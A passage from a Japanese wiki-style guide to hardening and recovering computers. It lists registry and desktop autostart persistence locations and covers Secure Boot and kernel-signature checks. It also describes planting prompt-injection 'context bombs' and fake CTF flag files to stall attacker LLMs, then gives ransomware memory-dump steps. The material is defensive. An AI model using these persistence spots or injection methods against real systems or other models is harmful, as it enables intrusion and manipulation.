| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
